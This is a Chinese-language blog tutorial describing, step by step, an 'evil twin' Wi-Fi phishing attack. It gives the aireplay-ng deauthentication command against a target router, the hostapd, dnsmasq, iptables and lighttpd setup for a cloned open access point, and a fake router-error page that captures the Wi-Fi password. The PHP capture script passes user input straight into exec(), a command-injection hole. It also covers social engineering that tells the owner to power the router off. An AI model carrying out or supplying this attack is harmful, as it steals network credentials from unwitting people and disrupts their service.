前言：
這篇文章出于我前段時間的一個想法，就是通過偽造無線路由器錯誤信息來欺騙機(jī)主，然后取得無線密碼。后來就不斷地試驗實踐，最后成功了，就有了今天的這篇文章，高三比較忙，所以弄了這么久。當(dāng)然我不是為了教會大家破解別人的無線網(wǎng)絡(luò)而寫這篇文章，只是為了讓大家了解無線網(wǎng)絡(luò)的安全問題和交流技術(shù)，知道這種技術(shù)的原理，才能避免被攻擊。為了便于大多數(shù)讀者理解，我盡量沒有使用很多專業(yè)詞匯，可能不夠嚴(yán)謹(jǐn)，望見諒！
本文使用了以下這些開源軟件，在這里感謝這些軟件的開發(fā)者：
aircrack-ng: http://www.aircrack-ng.org/
dnsmasq: http://www.thekelleys.org.uk/dnsmasq/
doc: http://www.luyouqiwang.com/
lighttpd: http://www.lighttpd.net/
php: http://php.net/
overview:
首先簡略地說說基本的思路，使用airodump-ng查看有那些客戶端正在使用無線網(wǎng)絡(luò)，然后通過aireplay-ng持續(xù)攻擊某個AP，使該客戶端保持可以搜索到自己的AP，但是又連接不上的狀態(tài)。這時我們就馬上偽造一個SSID和該AP相同不加密的AP，因為普通的用戶都是不懂技術(shù)的，正在和MM聊得歡，突然就斷開了，這該多惱火~這樣一般該機(jī)主就會下意識地點擊連接我們這個偽造的AP，然后輕而易舉地連接上了。這時機(jī)主回到QQ，誒~怎么還是連接不上？然后就打開瀏覽器隨便訪問一個網(wǎng)絡(luò)地址測試一下，這時我們就要讓他打開事先準(zhǔn)備好的網(wǎng)頁，說他的AP出錯誤了云云，然后然他輸入無線密碼來重啟無線路由器排除故障，他一著急，就輸入了自己的無線密碼啦~這時密碼就會被提交到我們電腦上的php，然后php就把這個密碼寫入某個文件保存起來，哈哈！不費吹灰之力對吧？然后我們就停止對他AP的攻擊，神不知鬼不覺地~機(jī)主見恢復(fù)正常了，就把這小插曲拋諸腦后啦！這里面也有一點社會工程學(xué)的意思。相關(guān)的原理和細(xì)節(jié)我在后面慢慢和大家敘述。
本文以安裝了xubuntu12.04.3的筆記本電腦為系統(tǒng)環(huán)境，前段時間我安裝了xbuntu13.10，結(jié)果各種不穩(wěn)定各種錯誤，在Hacking的時候居然在service里面找不到Network-manager，導(dǎo)致Hacking的時候網(wǎng)卡被關(guān)閉。不得不感嘆Ubuntu變得越來越用戶友好，但是卻越來越難配置。所以我回到了xubuntu12.04，后來我也用過ArchLinux，很輕量很快速，可以輕易配置整個系統(tǒng)。但是為了簡單起見，本文還是使用了ubuntu作為系統(tǒng)環(huán)境。行首是”#“代表是使用超級用戶運(yùn)行該命令，這都是約定俗成的。不多說，另外配置文件和網(wǎng)頁代碼的內(nèi)容我都用代碼框框起來的了，需要執(zhí)行的指令則是用黃色加亮。
一些命令的用途：
airmon-ng：方便地將網(wǎng)卡配置成攻擊時所需監(jiān)聽模式(monitor mode)。
airodump-ng：監(jiān)聽無線網(wǎng)絡(luò)，查看有那些活動的無線網(wǎng)絡(luò)。
aireplay-ng：對對方無線網(wǎng)絡(luò)進(jìn)行注入攻擊，這里用來使客戶端斷線。
dnsmasq:提供一個內(nèi)網(wǎng)DNS，以及dhcp服務(wù)。
lighttpd：提供一個Web服務(wù)器，用來顯示我們偽造的錯誤信息頁面。
php-cgi：lighttpd通過fastcgi連接到php，用來獲取并保存用戶輸入的信息。
iptables:配置防火墻，因為hostapd要用到NAT（網(wǎng)絡(luò)地址轉(zhuǎn)換）
hostapd：一個軟AP，等于把你的電腦變成一個無線無線路由器
基本流程如下圖所示，這里先解釋下hack的基本流程：
監(jiān)聽無線網(wǎng)絡(luò)找到攻擊目標(biāo)》攻擊目標(biāo)使其斷線》機(jī)主連接到偽造的AP》機(jī)主客戶端發(fā)出dhcp請求》dnsmasq接收到機(jī)主的請求，返回網(wǎng)絡(luò)配置信息，DNS服務(wù)器和路由的IP都設(shè)置為偽造AP的IP》機(jī)主收到dnsmasq返回的信息，配置網(wǎng)絡(luò)成功》機(jī)主試圖訪問http://www.53tusiji.cn，機(jī)主的瀏覽器向dnsmasq查詢域名信息，dnsmasq返回正確的IP地址xxx.xxx.xxx.xxx給機(jī)主的瀏覽器》機(jī)主的瀏覽器開始連接xxx.xxx.xxx.xxx》數(shù)據(jù)包經(jīng)過偽造AP時，iptables把數(shù)據(jù)包的目標(biāo)地址轉(zhuǎn)換成本機(jī)，這樣無論機(jī)主試圖訪問什么主機(jī)，最后都會連接到偽造AP里面的Web服務(wù)器lighttpd》lighttpd收到請求，用過rewrite重定向到偽造的錯誤頁面，這樣無論機(jī)主請求的是什么頁面，最后都會訪問到我們偽造的錯誤頁面》用戶輸入無線密碼》lighttpd把用戶輸入的數(shù)據(jù)傳送給php，php把密碼寫入到/var/www/password。
開始工作：
首先當(dāng)然是切換到超級用戶：
$sudo -s
安裝所需全部軟件：
#apt-get install aircrack lighttpd dnsmasq php5-cgi
停止network-manager，以免干擾我們的操作：
#service network-manager
下載相關(guān)文件：
訪問http://pan.baidu.com/s/1mgI4bv6 ，下載全部文件備用
開啟lighttpd的php支持：
#lighttpd-enable-mod fastcgi-php
開始配置相關(guān)程序，為了方便大家我已經(jīng)把一切都做好了。
復(fù)制dnsmasq.conf到/etc/dnsmasq.conf
復(fù)制lighttpd.conf到/etc/lighttpd/lighttpd.conf
復(fù)制hostapd.conf到/etc/hostapd/hostapd.conf
復(fù)制index.html,passwd.php到/var/www/
編輯/etc/php5/cgi/php.ini，找到這一行：
;cgi.fix_pathinfo=1
把最前面的“;”號去掉，保存，這個配置選項是更改php的目錄信息，使最后php寫入的密碼文件放在正確的目錄下（即/var/www/）。
設(shè)置目錄權(quán)限，這是為了讓php可以寫入密碼文件/var/www/password：
#chmod 777 /var/www/ -R
重新啟動相關(guān)程序：
#killall php-cgi
#service dnsmasq restart
#service lighttpd restart
測試lighttpd：
在firefox里面訪問http://127.0.0.1，測試網(wǎng)頁是否能夠正常顯示，然后再訪問http://127.0.0.1/xxxxxx，看看是否還能打開錯誤提示頁面。因為到時你并不知道用戶會打開什么網(wǎng)站的什么頁面，假設(shè)到時機(jī)主在瀏覽器里面訪問的是http://www.luyouqiwang.com/tplink/ ,因為我們搭建的“網(wǎng)站”并沒有.help/source這個文件，就會出現(xiàn)404錯誤，為了避免這個問題，所以我就使用了rewrite技術(shù)，也就是地址重寫技術(shù)。這樣用戶只要是訪問我們搭建出來的“網(wǎng)站”，無論在IP地址后面輸入什么東西，都會訪問到我寫的錯誤頁面index.html。有意思吧？
rewrite配置的細(xì)節(jié)在lighttpd.conf里面：
url.rewrite=(
"^/passwd.php/?(.+)" => "$0",
"^/(.+)"=>"index.html"
)
這里rewrite規(guī)則用了perl的正則表達(dá)式，以上配置的意思是：如果url不是以passwd.php開頭的，全部重寫到index.html，passwd.php是用來保存密碼的，我們當(dāng)然不能重寫它的地址。關(guān)于passwd.php的內(nèi)容我們接下來就解釋。
測試php:
這里隨手輸入一個密碼看看，我輸入了：”123456789“
這里的細(xì)節(jié)可以查看index.html文件，我在里買創(chuàng)建了一個表單:
<form action="passwd.php" method="">
<input type="password" name="passwd" value="" />
<input type="submit" name="" value="確認(rèn)重啟" />
</form>
表單里面有一個密碼輸入框，一個提交按鈕，當(dāng)我們在密碼輸入框里面輸入密碼“123456789”，點擊“確認(rèn)重啟”按鈕后，密碼輸入框里的內(nèi)容就會被提交到”passwd.php“，這是瀏覽器就會打開一個地址：“http://127.0.0.1/passwd.php?passwd=123456789”，地址后面的?passwd=123456789就是密碼數(shù)據(jù)，然后我們就要想辦法把這個密碼數(shù)據(jù)保存下來。
具體是怎么保存的呢？可以查看passwd.php，里面有這么兩行：
$com = "touch password && echo $_GET[passwd] >> password";
exec($com);
用到了php的exec()函數(shù)，這個函數(shù)就等于一個系統(tǒng)shell程序，可以在里面運(yùn)行系統(tǒng)命令，這里運(yùn)行了 "touch password && echo $_GET[passwd] >> password"
這篇文章的讀者應(yīng)該都清楚這條命令的意思，&&前面的 ”touch password“就是檢測是否存在“password”文件，如果不存在則新建一個，&&后面的命令用到了$_GET[passwd]，這個的作用就是獲取url后面passwd參數(shù)的內(nèi)容，因為我們訪問的url為“http://127.0.0.1/passwd.php?passwd=123456789”，也就等于獲取passwd=123456789里面的“123456789”,然后”echo $_GET[passwd] >> password“就等于把字符串“123456789”追加到文件“password”的末尾。
然后顯示錯誤信息：
echo("<h1>很不幸！進(jìn)程出錯！</h1>");
echo("
請手動關(guān)閉路由器電源，兩小時后重試！故障應(yīng)很快解除。
");
這里我耍了小花招，因為我們也沒有辦法真的讓機(jī)主的無線路由器重啟，只能讓他自己關(guān)兩個小時咯！當(dāng)我們搜索不到機(jī)主的無線路由器時，我們就知道機(jī)主已經(jīng)輸入了密碼并且手動關(guān)閉了電源了。然后我們就可以收工啦！
查看密碼寫入是否成功：
#more /var/www/password
顯示123456789，就表示我剛才輸入的密碼123456789被保存到/var/www/password這個文件里面了，php配置成功啦！
OK!偽造的錯誤頁面能運(yùn)作了，繼續(xù)下一步。
設(shè)置網(wǎng)卡為監(jiān)聽模式：
#airmon-ng start wlan0
airmon-ng其實是一個shell腳本，為了方便配置無線網(wǎng)絡(luò)而編寫的，命令運(yùn)行后就會多出一個”mon0”設(shè)備，這個設(shè)備是在wlan0的硬件基礎(chǔ)上虛擬出來的，這時不影響你繼續(xù)使用原來的wlan0，好用吧？
開始抓包監(jiān)聽：
#airodump-ng mon0
慢慢等候，抓到的包會越來越多，然后找一個信號比較好的，機(jī)主使用比較活躍的AP，上面Data這一欄下如果在跳動，就說明有人在使用這個無線路由器。
記下目標(biāo)AP的ESSID和BSSID，這在我們接下來偽造路由器和注入攻擊有用。
編輯/etc/hostapd/hostapd.conf，找到這一行：
ssid=test
test改成目標(biāo)ESSID（也就是無線路由器名）,我這里改成wifi-XWZ
然后找到這一行：
interface=wlan1
把里面的wlan1改成你的無線設(shè)備名，本文使用的無線網(wǎng)卡是wlan0,就改成wlan0 ,保存。
啟動我們的偽造AP：
#hostapd /etc/hostapd/hostapd.conf
設(shè)置wlan0的ip地址，不然dnsmasq的dhcp功能會失效:
#ifconfig wlan0 192.168.1.1/24
dhcp就是動態(tài)主機(jī)配置協(xié)議，用來自動配置網(wǎng)絡(luò)，自動分配無線地址的，現(xiàn)在的設(shè)備默認(rèn)都是使用dhcp分配地址了，如果沒有安裝dhcp服務(wù)器，那么無線設(shè)備就無法成功連接到我們偽造的無線路由器。
關(guān)于dnsmasq的dhcp配置可以看到dnsmasq.conf里面這兩行：
dhcp-range=192.168.1.2,192.168.1.100,255.255.255.0,12h
這一行配置了分配出去地網(wǎng)絡(luò)地址范圍是192.168.1.2到192.168.1.100,還有子網(wǎng)掩碼，還有租約時間是12h也就是12小時，這個不重要，這里不多說。
dhcp-option=option:router,192.168.1.1
這一行配置了分配出去的網(wǎng)絡(luò)配置信息中默認(rèn)路由的IP地址，這里設(shè)置為偽造的路由器的IP地址“192.168.1.1”。那么路由有什么作用呢？路由就是用來轉(zhuǎn)發(fā)網(wǎng)絡(luò)數(shù)據(jù)包的設(shè)備，來實現(xiàn)不同網(wǎng)段的網(wǎng)絡(luò)互連。有一部電腦的內(nèi)網(wǎng)IP地址為192.168.1.5,子網(wǎng)掩碼為255.255.255.0，想訪問IP地址12.12.12.12，這時它的設(shè)備就通過子網(wǎng)掩碼計算出12.12.12.12和它不是在同一個子網(wǎng)里面的，不能直接通信，它就直接把數(shù)據(jù)發(fā)送到默認(rèn)路由192.168.1.1,讓路由器幫它轉(zhuǎn)發(fā)。
這里面還有一個DNS的知識，DNS就是域名系統(tǒng)的意思，簡單說就是把域名轉(zhuǎn)換成IP地址的服務(wù)，因為人類對數(shù)字不敏感，訪問網(wǎng)站的時候要記住一串IP地址太麻煩了，所以就有了DNS，比如你在你的瀏覽器里面訪問www.luyouqiwang.com，那么你的瀏覽器就會先連接到DNS服務(wù)器，查詢到www.luyouqiwang.com對應(yīng)的IP地址為119.75.218.70，然后瀏覽器就開始和119.75.218.70上服務(wù)器通信，整個DNS查詢過程不需要人工干預(yù)，而當(dāng)你的瀏覽器訪問不了DNS服務(wù)器的時候，你也就無法正常上網(wǎng)咯！而我們并不打算讓連接到偽造路由器上的客戶端訪問外網(wǎng)的DNS服務(wù)器，所以直接在偽造的路由器上面搭建一個DNS服務(wù)器。關(guān)于DNS服務(wù)器的配置，dnsmasq這個軟件默認(rèn)就已經(jīng)可以工作了，不需要額外的配置，這里就不多廢話了。
設(shè)置網(wǎng)絡(luò)地址轉(zhuǎn)換，讓所有數(shù)據(jù)包到返回到本機(jī):
#iptables -t nat -A PREROUTING -s 192.168.1.0/24 -i wlan0 -j DNAT --to 192.168.1.1
由于從機(jī)主在DNS服務(wù)器上面查詢到的IP地址五花八門，但是我們只希望他訪問到我們搭建的獲取密碼的”網(wǎng)站“，所以我就使用了NAT技術(shù)，把所有來自wlan0,網(wǎng)段192.168.1.1——192.168.1.254的數(shù)據(jù)包的目的地址都改為192.168.1.1，也就是偽造的路由器的IP地址，換句話說，無論他訪問什么IP地址，加上rewrite技術(shù)，機(jī)主是無論如何都會訪問到我們搭建的”網(wǎng)站“，然后就把密碼送上。
萬事俱備，只欠東風(fēng)，你得先讓別人的手機(jī)斷線，別人才有可能來連接你偽造的無線路由器對吧？然后我們開始攻擊目標(biāo)AP，其中參數(shù)-a后面的就是前面要你記下的目標(biāo)路由器的BSSID
#aireplay-ng mon0 -0 0 --ignore-negative-one -a D4:B1:10:F5:2D:34
等待吧！這需要一點耐心和運(yùn)氣，等到“魚兒”上勾后，查看”送“給你的密碼吧:
#more /var/www/password
PS：本來想到可以用DNS泛解析的，就是讓所有DNS查詢請求都返回本機(jī)地址（192.168.1.1），可是搞不定。好像aircrack-ng包里面的airbase-ng都可以創(chuàng)建一個軟無線路由器，但是好像在我的機(jī)器上工作不怎么正常，就沒研究。另外為了能夠解析DNS，你的機(jī)器首先要連接上網(wǎng)絡(luò)。天冷了，手指太凍，錯別字應(yīng)該有不少，大家見諒，加上語文水平也不好，表述得有點混亂，還請大家多多指教！
----------------------------------------------------------
版權(quán)聲明：
本文作者是一位自由軟件愛好者，所以本文雖然不是軟件，但是本著 GPL 的精神發(fā)布。任何人都可以自由使用、轉(zhuǎn)載、復(fù)制和再分發(fā)，但必須保留作者署名，亦不得對聲明中的任何條款作任何形式的修改，也不得附加任何其它條件。您可以自由鏈接、下載、傳播此文檔，但前提是必須保證全文完整轉(zhuǎn)載，包括完整的版權(quán)信息和作譯者聲明。?
BUG報告，切磋與探討:由于作者水平有限，因此不能保證作品內(nèi)容準(zhǔn)確無誤，請在閱讀中自行鑒別。如果你發(fā)現(xiàn)了作品中的錯誤，請您來信指出，哪怕是錯別字也好，任何提高作品質(zhì)量的建議我都將虛心接納。如果你愿意就作品中的相關(guān)內(nèi)容與我進(jìn)行進(jìn)一步切磋與探討，也歡迎你與我聯(lián)系。聯(lián)系方式:chenzhiwo@139.com
